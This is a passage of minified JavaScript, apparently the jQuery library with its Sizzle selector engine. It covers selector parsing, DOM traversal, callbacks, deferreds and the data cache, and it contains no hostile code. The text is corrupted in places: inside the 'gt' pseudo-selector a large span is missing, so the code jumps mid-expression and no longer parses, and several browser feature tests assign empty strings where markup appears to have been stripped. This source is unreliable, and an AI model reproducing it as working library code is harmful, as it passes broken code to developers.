c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 